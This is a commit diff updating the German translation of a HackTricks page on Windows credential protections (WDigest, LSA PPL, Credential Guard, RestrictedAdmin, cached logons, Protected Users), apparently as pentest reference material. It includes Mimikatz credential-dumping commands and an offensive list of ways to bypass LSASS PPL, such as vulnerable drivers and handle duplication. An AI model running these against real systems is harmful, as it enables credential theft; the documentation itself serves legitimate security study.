mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/windows-hardening/windows-local-privilege-escalatio
This commit is contained in:
Translator
parent
1cf89f61e0
commit
aa1c7930b7
@ -1,117 +1,174 @@
|
||||
# Windows Credentials Protections
|
||||
# Schutz von Windows-Anmeldeinformationen
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## WDigest
|
||||
|
||||
Das [WDigest](<https://technet.microsoft.com/pt-pt/library/cc778868(v=ws.10).aspx?f=255&MSPPError=-2147217396>) Protokoll, das mit Windows XP eingeführt wurde, ist für die Authentifizierung über das HTTP-Protokoll konzipiert und ist **standardmäßig auf Windows XP bis Windows 8.0 und Windows Server 2003 bis Windows Server 2012 aktiviert**. Diese Standardeinstellung führt zu **der Speicherung von Passwörtern im Klartext in LSASS** (Local Security Authority Subsystem Service). Ein Angreifer kann Mimikatz verwenden, um **diese Anmeldeinformationen zu extrahieren**, indem er Folgendes ausführt:
|
||||
Das [WDigest](<https://technet.microsoft.com/pt-pt/library/cc778868(v=ws.10).aspx?f=255&MSPPError=-2147217396>) Protokoll, das mit Windows XP eingeführt wurde, ist für die Authentifizierung über das HTTP-Protokoll ausgelegt und ist **standardmäßig auf Windows XP bis Windows 8.0 sowie Windows Server 2003 bis Windows Server 2012 aktiviert**. Diese Standardeinstellung führt zu **Klartext-Passwortspeicherung in LSASS** (Local Security Authority Subsystem Service). Ein Angreifer kann Mimikatz verwenden, um **diese Anmeldeinformationen zu extrahieren**, indem er Folgendes ausführt:
|
||||
```bash
|
||||
sekurlsa::wdigest
|
||||
```
|
||||
Um diese Funktion **ein- oder auszuschalten**, müssen die _**UseLogonCredential**_ und _**Negotiate**_ Registrierungswerte innerhalb von _**HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest**_ auf "1" gesetzt werden. Wenn diese Werte **fehlen oder auf "0" gesetzt sind**, ist WDigest **deaktiviert**:
|
||||
Um diese Funktion **aus- oder einzuschalten**, müssen die Registry-Schlüssel _**UseLogonCredential**_ und _**Negotiate**_ unter _**HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest**_ auf "1" gesetzt sein. Wenn diese Schlüssel **nicht vorhanden sind oder auf "0" gesetzt sind**, ist WDigest **deaktiviert**:
|
||||
```bash
|
||||
reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential
|
||||
```
|
||||
## LSA-Schutz (PP & PPL geschützte Prozesse)
|
||||
|
||||
**Protected Process (PP)** und **Protected Process Light (PPL)** sind **Windows-Kernel-Schutzmechanismen**, die entwickelt wurden, um unbefugten Zugriff auf sensible Prozesse wie **LSASS** zu verhindern. Eingeführt in **Windows Vista**, wurde das **PP-Modell** ursprünglich zur Durchsetzung von **DRM** geschaffen und erlaubte nur Binärdateien, die mit einem **besonderen Medienzertifikat** signiert sind, geschützt zu werden. Ein als **PP** gekennzeichneter Prozess kann nur von anderen Prozessen, die **auch PP** sind und ein **gleiches oder höheres Schutzniveau** haben, zugegriffen werden, und selbst dann **nur mit eingeschränkten Zugriffsrechten**, es sei denn, dies ist ausdrücklich erlaubt.
|
||||
**Protected Process (PP)** und **Protected Process Light (PPL)** sind **Windows-Kernel-Schutzmechanismen**, die verhindern sollen, dass unautorisierte Prozesse auf sensible Prozesse wie **LSASS** zugreifen. Eingeführt in **Windows Vista**, wurde das **PP-Modell** ursprünglich für **DRM**-Durchsetzung geschaffen und erlaubte nur Binärdateien, die mit einem **speziellen Medienzertifikat** signiert waren, geschützt zu werden. Ein als **PP** markierter Prozess kann nur von anderen Prozessen geöffnet werden, die **ebenfalls PP** sind und ein **gleiches oder höheres Schutzniveau** haben — und selbst dann **nur mit eingeschränkten Zugriffsrechten**, sofern nicht ausdrücklich erlaubt.
|
||||
|
||||
**PPL**, eingeführt in **Windows 8.1**, ist eine flexiblere Version von PP. Es ermöglicht **breitere Anwendungsfälle** (z. B. LSASS, Defender), indem es **"Schutzniveaus"** basierend auf dem **EKU (Enhanced Key Usage)**-Feld der digitalen Signatur einführt. Das Schutzniveau wird im `EPROCESS.Protection`-Feld gespeichert, das eine `PS_PROTECTION`-Struktur mit folgenden Inhalten ist:
|
||||
- **Typ** (`Protected` oder `ProtectedLight`)
|
||||
- **Signer** (z. B. `WinTcb`, `Lsa`, `Antimalware` usw.)
|
||||
**PPL**, eingeführt in **Windows 8.1**, ist eine flexiblere Version von PP. Es erlaubt **breitere Anwendungsfälle** (z. B. LSASS, Defender), indem es **„Schutzniveaus“** basierend auf dem **EKU (Enhanced Key Usage)**-Feld der digitalen Signatur einführt. Das Schutzniveau wird im `EPROCESS.Protection`-Feld gespeichert, das eine `PS_PROTECTION`-Struktur mit folgenden Feldern ist:
|
||||
- **Type** (`Protected` oder `ProtectedLight`)
|
||||
- **Signer** (z. B. `WinTcb`, `Lsa`, `Antimalware`, etc.)
|
||||
|
||||
Diese Struktur wird in einem einzelnen Byte gepackt und bestimmt **wer auf wen zugreifen kann**:
|
||||
- **Höhere Signaturwerte können auf niedrigere zugreifen**
|
||||
Diese Struktur ist in einem Byte verpackt und bestimmt **wer wen zugreifen kann**:
|
||||
- **Höhere Signer-Werte können auf niedrigere zugreifen**
|
||||
- **PPLs können nicht auf PPs zugreifen**
|
||||
- **Ungeschützte Prozesse können auf keine PPL/PP zugreifen**
|
||||
- **Unprotected Prozesse können auf keine PPL/PP zugreifen**
|
||||
|
||||
### Was Sie aus offensiver Perspektive wissen müssen
|
||||
### Was du aus offensiver Sicht wissen musst
|
||||
|
||||
- Wenn **LSASS als PPL ausgeführt wird**, schlagen Versuche, es mit `OpenProcess(PROCESS_VM_READ | QUERY_INFORMATION)` aus einem normalen Administratorkontext zu öffnen, **mit `0x5 (Zugriff verweigert)` fehl**, selbst wenn `SeDebugPrivilege` aktiviert ist.
|
||||
- Sie können **das Schutzniveau von LSASS überprüfen**, indem Sie Tools wie Process Hacker verwenden oder programmgesteuert den Wert von `EPROCESS.Protection` lesen.
|
||||
- LSASS hat typischerweise `PsProtectedSignerLsa-Light` (`0x41`), auf das **nur von Prozessen zugegriffen werden kann, die mit einem höherwertigen Signierer** signiert sind, wie z. B. `WinTcb` (`0x61` oder `0x62`).
|
||||
- PPL ist eine **nur für den Benutzerraum geltende Einschränkung**; **Kernel-Code kann dies vollständig umgehen**.
|
||||
- Dass LSASS PPL ist, **verhindert nicht das Auslesen von Anmeldeinformationen, wenn Sie Kernel-Shellcode ausführen können** oder **einen hochprivilegierten Prozess mit entsprechendem Zugriff nutzen**.
|
||||
- **Das Setzen oder Entfernen von PPL** erfordert einen Neustart oder **Secure Boot/UEFI-Einstellungen**, die die PPL-Einstellung auch nach Rückgängigmachung von Registrierungänderungen beibehalten können.
|
||||
- Wenn **LSASS als PPL läuft**, schlagen Versuche, es mit `OpenProcess(PROCESS_VM_READ | QUERY_INFORMATION)` aus einem normalen Admin-Kontext zu öffnen, **mit `0x5 (Access Denied)` fehl**, selbst wenn `SeDebugPrivilege` aktiviert ist.
|
||||
- Du kannst das **LSASS-Schutzlevel** mit Tools wie Process Hacker prüfen oder programmatisch den `EPROCESS.Protection`-Wert auslesen.
|
||||
- LSASS hat typischerweise `PsProtectedSignerLsa-Light` (`0x41`), das **nur von Prozessen zugänglich ist, die mit einem höherwertigen Signer signiert sind**, z. B. `WinTcb` (`0x61` oder `0x62`).
|
||||
- PPL ist **nur im Userland wirksam**; Kernel-Code kann es vollständig umgehen.
|
||||
- Dass LSASS PPL ist, verhindert **credential dumping** nicht, wenn du **kernel shellcode** ausführen kannst oder einen hochprivilegierten Prozess mit entsprechendem Zugriff missbrauchst.
|
||||
- Das Setzen oder Entfernen von PPL erfordert einen Reboot oder **Secure Boot/UEFI-Einstellungen**, die die PPL-Konfiguration auch nach Rückgängigmachung von Registry-Änderungen beibehalten können.
|
||||
|
||||
**Umgehungsoptionen für PPL-Schutz:**
|
||||
### Einen PPL-Prozess beim Start erstellen (dokumentierte API)
|
||||
|
||||
Wenn Sie LSASS trotz PPL auslesen möchten, haben Sie 3 Hauptoptionen:
|
||||
1. **Verwenden Sie einen signierten Kernel-Treiber (z. B. Mimikatz + mimidrv.sys)**, um **das Schutzflag von LSASS zu entfernen**:
|
||||
Windows bietet einen dokumentierten Weg, um beim Erstellen eines Child-Prozesses ein Protected Process Light-Level anzufordern, indem die erweiterte Startup-Attribute-Liste verwendet wird. Dies umgeht nicht die Signing-Anforderungen — das Zielimage muss für die angeforderte Signer-Klasse signiert sein.
|
||||
|
||||
Minimaler Ablauf in C/C++:
|
||||
```c
|
||||
// Request a PPL protection level for the child process at creation time
|
||||
// Requires Windows 8.1+ and a properly signed image for the selected level
|
||||
#include <windows.h>
|
||||
|
||||
int wmain(int argc, wchar_t **argv) {
|
||||
STARTUPINFOEXW si = {0};
|
||||
PROCESS_INFORMATION pi = {0};
|
||||
si.StartupInfo.cb = sizeof(si);
|
||||
|
||||
SIZE_T attrSize = 0;
|
||||
InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
|
||||
si.lpAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrSize);
|
||||
if (!si.lpAttributeList) return 1;
|
||||
|
||||
if (!InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attrSize)) return 1;
|
||||
|
||||
DWORD level = PROTECTION_LEVEL_ANTIMALWARE_LIGHT; // or WINDOWS_LIGHT/LSA_LIGHT/WINTCB_LIGHT
|
||||
if (!UpdateProcThreadAttribute(
|
||||
si.lpAttributeList, 0,
|
||||
PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL,
|
||||
&level, sizeof(level), NULL, NULL)) {
|
||||
return 1;
|
||||
}
|
||||
|
||||
DWORD flags = EXTENDED_STARTUPINFO_PRESENT;
|
||||
if (!CreateProcessW(L"C\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE,
|
||||
flags, NULL, NULL, &si.StartupInfo, &pi)) {
|
||||
// If the image isn't signed appropriately for the requested level,
|
||||
// CreateProcess will fail with ERROR_INVALID_IMAGE_HASH (577).
|
||||
return 1;
|
||||
}
|
||||
|
||||
// cleanup
|
||||
DeleteProcThreadAttributeList(si.lpAttributeList);
|
||||
HeapFree(GetProcessHeap(), 0, si.lpAttributeList);
|
||||
CloseHandle(pi.hThread);
|
||||
CloseHandle(pi.hProcess);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Hinweise und Einschränkungen:
|
||||
- Verwende `STARTUPINFOEX` mit `InitializeProcThreadAttributeList` und `UpdateProcThreadAttribute(PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL, ...)`, und übergebe dann `EXTENDED_STARTUPINFO_PRESENT` an `CreateProcess*`.
|
||||
- Das Schutz-`DWORD` kann auf Konstanten wie `PROTECTION_LEVEL_WINTCB_LIGHT`, `PROTECTION_LEVEL_WINDOWS`, `PROTECTION_LEVEL_WINDOWS_LIGHT`, `PROTECTION_LEVEL_ANTIMALWARE_LIGHT` oder `PROTECTION_LEVEL_LSA_LIGHT` gesetzt werden.
|
||||
- Der Child-Prozess startet nur als PPL, wenn sein Image für diese Signer-Klasse signiert ist; andernfalls schlägt die Prozess-Erstellung fehl, häufig mit `ERROR_INVALID_IMAGE_HASH (577)` / `STATUS_INVALID_IMAGE_HASH (0xC0000428)`.
|
||||
- Dies ist kein bypass — es ist eine unterstützte API, die für entsprechend signierte Images gedacht ist. Nützlich, um Tools zu härten oder PPL-geschützte Konfigurationen zu validieren.
|
||||
|
||||
Beispiel-CLI mit einem minimalen Loader:
|
||||
- Antimalware-Signer: `CreateProcessAsPPL.exe 3 C:\Tools\agent.exe --svc`
|
||||
- LSA-light-Signer: `CreateProcessAsPPL.exe 4 C:\Windows\System32\notepad.exe`
|
||||
|
||||
**Bypass-Optionen für PPL-Schutz:**
|
||||
|
||||
Wenn du LSASS trotz PPL dumpen willst, hast du 3 Hauptoptionen:
|
||||
1. **Use a signed kernel driver (e.g., Mimikatz + mimidrv.sys)**, um das **Schutz-Flag von LSASS zu entfernen**:
|
||||
|
||||
|
||||
|
||||
2. **Bring Your Own Vulnerable Driver (BYOVD)**, um benutzerdefinierten Kernel-Code auszuführen und den Schutz zu deaktivieren. Tools wie **PPLKiller**, **gdrv-loader** oder **kdmapper** machen dies möglich.
|
||||
3. **Stehlen Sie einen vorhandenen LSASS-Handle** von einem anderen Prozess, der ihn geöffnet hat (z. B. ein AV-Prozess), und **duplizieren Sie ihn** in Ihren Prozess. Dies ist die Grundlage der Technik `pypykatz live lsa --method handledup`.
|
||||
4. **Missbrauchen Sie einen privilegierten Prozess**, der es Ihnen ermöglicht, beliebigen Code in seinen Adressraum oder in einen anderen privilegierten Prozess zu laden, wodurch die PPL-Einschränkungen effektiv umgangen werden. Sie können ein Beispiel dafür in [bypassing-lsa-protection-in-userland](https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/) oder [https://github.com/itm4n/PPLdump](https://github.com/itm4n/PPLdump) überprüfen.
|
||||
2. **Bring Your Own Vulnerable Driver (BYOVD)**, um eigenen Kernel-Code auszuführen und den Schutz zu deaktivieren. Tools wie **PPLKiller**, **gdrv-loader** oder **kdmapper** machen das möglich.
|
||||
3. **Steal an existing LSASS handle** aus einem anderen Prozess, der es offen hat (z. B. ein AV-Prozess), und **dupliziere es** in deinen Prozess. Das ist die Grundlage der `pypykatz live lsa --method handledup` Technik.
|
||||
4. **Missbrauche einen privilegierten Prozess**, der es dir erlaubt, beliebigen Code in seinen Adressraum zu laden oder innerhalb eines anderen privilegierten Prozesses auszuführen, und umgehst damit effektiv die PPL-Beschränkungen. Ein Beispiel dazu findest du in [bypassing-lsa-protection-in-userland](https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/) oder [https://github.com/itm4n/PPLdump](https://github.com/itm4n/PPLdump).
|
||||
|
||||
**Überprüfen Sie den aktuellen Status des LSA-Schutzes (PPL/PP) für LSASS**:
|
||||
**Aktuellen Status des LSA-Schutzes (PPL/PP) für LSASS prüfen**:
|
||||
```bash
|
||||
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL
|
||||
```
|
||||
Wenn Sie **`mimikatz privilege::debug sekurlsa::logonpasswords`** ausführen, schlägt es wahrscheinlich mit dem Fehlercode `0x00000005` fehl, aufgrund dessen.
|
||||
Wenn Sie **`mimikatz privilege::debug sekurlsa::logonpasswords`** ausführen, schlägt dies wahrscheinlich mit dem Fehlercode `0x00000005` fehl.
|
||||
|
||||
- Für weitere Informationen zu dieser Prüfung [https://itm4n.github.io/lsass-runasppl/](https://itm4n.github.io/lsass-runasppl/)
|
||||
|
||||
- Für weitere Informationen dazu überprüfen Sie [https://itm4n.github.io/lsass-runasppl/](https://itm4n.github.io/lsass-runasppl/)
|
||||
|
||||
## Credential Guard
|
||||
|
||||
**Credential Guard**, eine Funktion, die exklusiv für **Windows 10 (Enterprise- und Education-Editionen)** ist, verbessert die Sicherheit von Maschinenanmeldeinformationen mithilfe von **Virtual Secure Mode (VSM)** und **Virtualization Based Security (VBS)**. Es nutzt CPU-Virtualisierungserweiterungen, um wichtige Prozesse innerhalb eines geschützten Speicherbereichs zu isolieren, der vom Hauptbetriebssystem nicht erreicht werden kann. Diese Isolation stellt sicher, dass selbst der Kernel nicht auf den Speicher in VSM zugreifen kann, wodurch Anmeldeinformationen effektiv vor Angriffen wie **pass-the-hash** geschützt werden. Die **Local Security Authority (LSA)** arbeitet in dieser sicheren Umgebung als Trustlet, während der **LSASS**-Prozess im Hauptbetriebssystem lediglich als Kommunikator mit der LSA von VSM fungiert.
|
||||
**Credential Guard**, eine Funktion, die ausschließlich in **Windows 10 (Enterprise and Education editions)** verfügbar ist, erhöht die Sicherheit von Maschinen-Anmeldeinformationen mittels **Virtual Secure Mode (VSM)** und **Virtualization Based Security (VBS)**. Es nutzt CPU-Virtualisierungserweiterungen, um wichtige Prozesse in einem geschützten Speicherbereich zu isolieren, außerhalb der Reichweite des Hauptbetriebssystems. Diese Isolation stellt sicher, dass selbst der Kernel nicht auf den Speicher im VSM zugreifen kann und schützt Anmeldeinformationen effektiv vor Angriffen wie **pass-the-hash**. Die **Local Security Authority (LSA)** läuft innerhalb dieser sicheren Umgebung als Trustlet, während der **LSASS**-Prozess im Haupt-OS lediglich als Vermittler zur LSA im VSM fungiert.
|
||||
|
||||
Standardmäßig ist **Credential Guard** nicht aktiv und erfordert eine manuelle Aktivierung innerhalb einer Organisation. Es ist entscheidend für die Verbesserung der Sicherheit gegen Tools wie **Mimikatz**, die in ihrer Fähigkeit, Anmeldeinformationen zu extrahieren, eingeschränkt sind. Allerdings können Schwachstellen weiterhin ausgenutzt werden, indem benutzerdefinierte **Security Support Providers (SSP)** hinzugefügt werden, um Anmeldeinformationen im Klartext während Anmeldeversuchen zu erfassen.
|
||||
Standardmäßig ist **Credential Guard** nicht aktiv und muss innerhalb einer Organisation manuell aktiviert werden. Es ist wichtig für die Erhöhung der Sicherheit gegenüber Tools wie **Mimikatz**, die dadurch in ihrer Fähigkeit, Anmeldeinformationen zu extrahieren, eingeschränkt werden. Allerdings können weiterhin Schwachstellen ausgenutzt werden, etwa durch das Hinzufügen benutzerdefinierter **Security Support Providers (SSP)**, um während Anmeldeversuchen Anmeldeinformationen im Klartext abzugreifen.
|
||||
|
||||
Um den Aktivierungsstatus von **Credential Guard** zu überprüfen, kann der Registrierungsschlüssel _**LsaCfgFlags**_ unter _**HKLM\System\CurrentControlSet\Control\LSA**_ inspiziert werden. Ein Wert von "**1**" zeigt die Aktivierung mit **UEFI-Sperre** an, "**2**" ohne Sperre, und "**0**" bedeutet, dass es nicht aktiviert ist. Diese Registrierungskontrolle, obwohl ein starker Indikator, ist nicht der einzige Schritt zur Aktivierung von Credential Guard. Detaillierte Anleitungen und ein PowerShell-Skript zur Aktivierung dieser Funktion sind online verfügbar.
|
||||
Um den Aktivierungsstatus von **Credential Guard** zu überprüfen, kann der Registry-Schlüssel _**LsaCfgFlags**_ unter _**HKLM\System\CurrentControlSet\Control\LSA**_ eingesehen werden. Ein Wert von "**1**" zeigt eine Aktivierung mit **UEFI lock** an, "**2**" ohne Lock und "**0**" bedeutet, dass es nicht aktiviert ist. Diese Registry-Prüfung ist zwar ein starker Indikator, ersetzt jedoch nicht alle Schritte zum Aktivieren von Credential Guard. Detaillierte Anleitungen und ein **PowerShell**-Skript zum Aktivieren dieser Funktion sind online verfügbar.
|
||||
```bash
|
||||
reg query HKLM\System\CurrentControlSet\Control\LSA /v LsaCfgFlags
|
||||
```
|
||||
Für ein umfassendes Verständnis und Anleitungen zur Aktivierung von **Credential Guard** in Windows 10 und seiner automatischen Aktivierung in kompatiblen Systemen von **Windows 11 Enterprise und Education (Version 22H2)**, besuchen Sie [Microsofts Dokumentation](https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-manage).
|
||||
Für ein umfassendes Verständnis und Anleitungen zum Aktivieren von **Credential Guard** in Windows 10 und dessen automatischer Aktivierung in kompatiblen Systemen von **Windows 11 Enterprise and Education (version 22H2)**, besuchen Sie [Microsoft's documentation](https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-manage).
|
||||
|
||||
Weitere Details zur Implementierung benutzerdefinierter SSPs zur Erfassung von Anmeldeinformationen finden Sie in [diesem Leitfaden](../active-directory-methodology/custom-ssp.md).
|
||||
Weitere Details zur Implementierung von custom SSPs zur Erfassung von Credentials finden Sie in [this guide](../active-directory-methodology/custom-ssp.md).
|
||||
|
||||
## RDP RestrictedAdmin-Modus
|
||||
|
||||
**Windows 8.1 und Windows Server 2012 R2** führten mehrere neue Sicherheitsfunktionen ein, darunter den _**Restricted Admin-Modus für RDP**_. Dieser Modus wurde entwickelt, um die Sicherheit zu erhöhen, indem die Risiken im Zusammenhang mit [**Pass the Hash**](https://blog.ahasayen.com/pass-the-hash/) -Angriffen gemindert werden.
|
||||
**Windows 8.1 and Windows Server 2012 R2** führten mehrere neue Sicherheitsfunktionen ein, darunter den _**Restricted Admin mode for RDP**_. Dieser Modus wurde entwickelt, um die Risiken im Zusammenhang mit [**pass the hash**](https://blog.ahasayen.com/pass-the-hash/) Angriffen zu vermindern.
|
||||
|
||||
Traditionell werden bei der Verbindung zu einem Remote-Computer über RDP Ihre Anmeldeinformationen auf dem Zielcomputer gespeichert. Dies stellt ein erhebliches Sicherheitsrisiko dar, insbesondere bei der Verwendung von Konten mit erhöhten Rechten. Mit der Einführung des _**Restricted Admin-Modus**_ wird dieses Risiko jedoch erheblich reduziert.
|
||||
Traditionell werden beim Verbindungsaufbau zu einem entfernten Computer über RDP Ihre Anmeldeinformationen auf dem Zielrechner gespeichert. Dies stellt ein erhebliches Sicherheitsrisiko dar, insbesondere bei Konten mit erhöhten Rechten. Mit der Einführung des _**Restricted Admin mode**_ wird dieses Risiko jedoch deutlich reduziert.
|
||||
|
||||
Beim Initiieren einer RDP-Verbindung mit dem Befehl **mstsc.exe /RestrictedAdmin** erfolgt die Authentifizierung zum Remote-Computer, ohne Ihre Anmeldeinformationen darauf zu speichern. Dieser Ansatz stellt sicher, dass im Falle einer Malware-Infektion oder wenn ein böswilliger Benutzer Zugriff auf den Remote-Server erhält, Ihre Anmeldeinformationen nicht kompromittiert werden, da sie nicht auf dem Server gespeichert sind.
|
||||
Wenn eine RDP-Verbindung mit dem Befehl **mstsc.exe /RestrictedAdmin** initiiert wird, erfolgt die Authentifizierung gegenüber dem entfernten Computer, ohne dass Ihre Anmeldeinformationen dort gespeichert werden. Dieser Ansatz stellt sicher, dass im Falle einer Malware-Infektion oder wenn ein bösartiger Benutzer Zugriff auf den Remote-Server erhält, Ihre Anmeldeinformationen nicht kompromittiert werden, da sie nicht auf dem Server hinterlegt sind.
|
||||
|
||||
Es ist wichtig zu beachten, dass im **Restricted Admin-Modus** Versuche, auf Netzwerkressourcen aus der RDP-Sitzung zuzugreifen, nicht Ihre persönlichen Anmeldeinformationen verwenden; stattdessen wird die **Identität des Computers** verwendet.
|
||||
Es ist wichtig zu beachten, dass im **Restricted Admin mode** Versuche, von der RDP-Sitzung aus auf Netzwerkressourcen zuzugreifen, nicht Ihre persönlichen Anmeldeinformationen verwenden; stattdessen wird die **Identität des Computers** benutzt.
|
||||
|
||||
Dieses Feature stellt einen bedeutenden Fortschritt bei der Sicherung von Remote-Desktop-Verbindungen dar und schützt sensible Informationen vor der Offenlegung im Falle eines Sicherheitsvorfalls.
|
||||
Diese Funktion stellt einen bedeutenden Fortschritt bei der Sicherung von Remote-Desktop-Verbindungen dar und schützt sensible Informationen davor, bei einem Sicherheitsvorfall offengelegt zu werden.
|
||||
|
||||
|
||||
|
||||
Für detailliertere Informationen besuchen Sie [diese Ressource](https://blog.ahasayen.com/restricted-admin-mode-for-rdp/).
|
||||
Für detailliertere Informationen besuchen Sie [this resource](https://blog.ahasayen.com/restricted-admin-mode-for-rdp/).
|
||||
|
||||
## Zwischengespeicherte Anmeldeinformationen
|
||||
|
||||
Windows sichert **Domänenanmeldeinformationen** über die **Local Security Authority (LSA)** und unterstützt Anmeldeprozesse mit Sicherheitsprotokollen wie **Kerberos** und **NTLM**. Ein wichtiges Merkmal von Windows ist die Fähigkeit, die **letzten zehn Domänenanmeldungen** zwischenzuspeichern, um sicherzustellen, dass Benutzer weiterhin auf ihre Computer zugreifen können, selbst wenn der **Domänencontroller offline** ist – ein Vorteil für Laptop-Benutzer, die oft außerhalb des Netzwerks ihres Unternehmens sind.
|
||||
Windows sichert **Domänenanmeldeinformationen** über die **Local Security Authority (LSA)** und unterstützt Anmeldeprozesse mit Sicherheitsprotokollen wie **Kerberos** und **NTLM**. Eine wichtige Funktion von Windows ist die Möglichkeit, die **letzten zehn Domänenanmeldungen** zu zwischenspeichern, damit Benutzer weiterhin auf ihre Computer zugreifen können, auch wenn der **Domänencontroller offline** ist — besonders praktisch für Laptop-Benutzer, die oft außerhalb des Firmennetzwerks unterwegs sind.
|
||||
|
||||
Die Anzahl der zwischengespeicherten Anmeldungen kann über einen bestimmten **Registrierungsschlüssel oder Gruppenrichtlinie** angepasst werden. Um diese Einstellung anzuzeigen oder zu ändern, wird der folgende Befehl verwendet:
|
||||
Die Anzahl der zwischengespeicherten Anmeldungen lässt sich über einen bestimmten **Registrierungswert oder eine Gruppenrichtlinie** anpassen. Zum Anzeigen oder Ändern dieser Einstellung wird folgender Befehl verwendet:
|
||||
```bash
|
||||
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
|
||||
```
|
||||
Der Zugriff auf diese zwischengespeicherten Anmeldeinformationen ist streng kontrolliert, wobei nur das **SYSTEM**-Konto die erforderlichen Berechtigungen hat, um sie anzuzeigen. Administratoren, die auf diese Informationen zugreifen müssen, müssen dies mit SYSTEM-Benutzerprivilegien tun. Die Anmeldeinformationen werden unter folgendem Pfad gespeichert: `HKEY_LOCAL_MACHINE\SECURITY\Cache`
|
||||
Der Zugriff auf diese zwischengespeicherten Anmeldeinformationen ist streng kontrolliert; nur das Konto **SYSTEM** verfügt über die erforderlichen Berechtigungen, um sie einsehen zu können. Administratoren, die auf diese Informationen zugreifen müssen, müssen dies mit SYSTEM-Benutzerrechten tun. Die Anmeldeinformationen werden gespeichert unter: `HKEY_LOCAL_MACHINE\SECURITY\Cache`
|
||||
|
||||
**Mimikatz** kann verwendet werden, um diese zwischengespeicherten Anmeldeinformationen mit dem Befehl `lsadump::cache` zu extrahieren.
|
||||
Mit **Mimikatz** können diese zwischengespeicherten Anmeldeinformationen mit dem Befehl `lsadump::cache` extrahiert werden.
|
||||
|
||||
Für weitere Details bietet die ursprüngliche [Quelle](http://juggernaut.wikidot.com/cached-credentials) umfassende Informationen.
|
||||
Für weitere Details bietet die ursprüngliche [source](http://juggernaut.wikidot.com/cached-credentials) umfassende Informationen.
|
||||
|
||||
## Geschützte Benutzer
|
||||
## Protected Users
|
||||
|
||||
Die Mitgliedschaft in der **Gruppe der geschützten Benutzer** führt zu mehreren Sicherheitsverbesserungen für Benutzer und gewährleistet höhere Schutzmaßnahmen gegen Diebstahl und Missbrauch von Anmeldeinformationen:
|
||||
Die Mitgliedschaft in der **Protected Users group** bringt mehrere Sicherheitsverbesserungen für Benutzer mit sich und sorgt für einen höheren Schutz vor Diebstahl und Missbrauch von Anmeldeinformationen:
|
||||
|
||||
- **Anmeldeinformationsdelegation (CredSSP)**: Selbst wenn die Gruppenrichtlinieneinstellung für **Standardanmeldeinformationen delegieren zulassen** aktiviert ist, werden die Klartextanmeldeinformationen der geschützten Benutzer nicht zwischengespeichert.
|
||||
- **Windows Digest**: Ab **Windows 8.1 und Windows Server 2012 R2** wird das System die Klartextanmeldeinformationen der geschützten Benutzer nicht zwischenspeichern, unabhängig vom Status von Windows Digest.
|
||||
- **NTLM**: Das System wird die Klartextanmeldeinformationen der geschützten Benutzer oder NT-Einwegfunktionen (NTOWF) nicht zwischenspeichern.
|
||||
- **Kerberos**: Für geschützte Benutzer wird die Kerberos-Authentifizierung keine **DES**- oder **RC4-Schlüssel** generieren, noch werden Klartextanmeldeinformationen oder langfristige Schlüssel über den Erwerb des ursprünglichen Ticket-Granting Ticket (TGT) hinaus zwischengespeichert.
|
||||
- **Offline-Anmeldung**: Für geschützte Benutzer wird beim Anmelden oder Entsperren kein zwischengespeicherter Verifier erstellt, was bedeutet, dass die Offline-Anmeldung für diese Konten nicht unterstützt wird.
|
||||
- **Credential Delegation (CredSSP)**: Selbst wenn die Gruppenrichtlinieneinstellung **Allow delegating default credentials** aktiviert ist, werden die Klartext-Anmeldeinformationen von Protected Users nicht zwischengespeichert.
|
||||
- **Windows Digest**: Ab **Windows 8.1 and Windows Server 2012 R2** wird das System die Klartext-Anmeldeinformationen von Protected Users nicht zwischenspeichern, unabhängig vom Status von Windows Digest.
|
||||
- **NTLM**: Das System wird weder die Klartext-Anmeldeinformationen von Protected Users noch NT one-way functions (NTOWF) zwischenspeichern.
|
||||
- **Kerberos**: Für Protected Users erzeugt die Kerberos-Authentifizierung keine **DES**- oder **RC4**-Schlüssel und speichert auch keine Klartext-Anmeldeinformationen oder langfristigen Schlüssel über den initialen Ticket-Granting Ticket (TGT)-Erwerb hinaus.
|
||||
- **Offline Sign-In**: Für Protected Users wird beim Anmelden oder Entsperren kein zwischengespeicherter Verifier erstellt, das heißt Offline-Anmeldung wird für diese Konten nicht unterstützt.
|
||||
|
||||
Diese Schutzmaßnahmen werden aktiviert, sobald ein Benutzer, der Mitglied der **Gruppe der geschützten Benutzer** ist, sich am Gerät anmeldet. Dies stellt sicher, dass kritische Sicherheitsmaßnahmen vorhanden sind, um gegen verschiedene Methoden des Kompromittierens von Anmeldeinformationen zu schützen.
|
||||
Diese Schutzmaßnahmen werden aktiviert, sobald sich ein Benutzer, der Mitglied der **Protected Users group** ist, am Gerät anmeldet. Dadurch sind wichtige Sicherheitsmaßnahmen wirksam, um vor verschiedenen Methoden der Kompromittierung von Anmeldeinformationen zu schützen.
|
||||
|
||||
Für detailliertere Informationen konsultieren Sie die offizielle [Dokumentation](https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group).
|
||||
Für ausführlichere Informationen konsultieren Sie die offizielle [documentation](https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group).
|
||||
|
||||
**Tabelle aus** [**den Dokumenten**](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-c--protected-accounts-and-groups-in-active-directory)**.**
|
||||
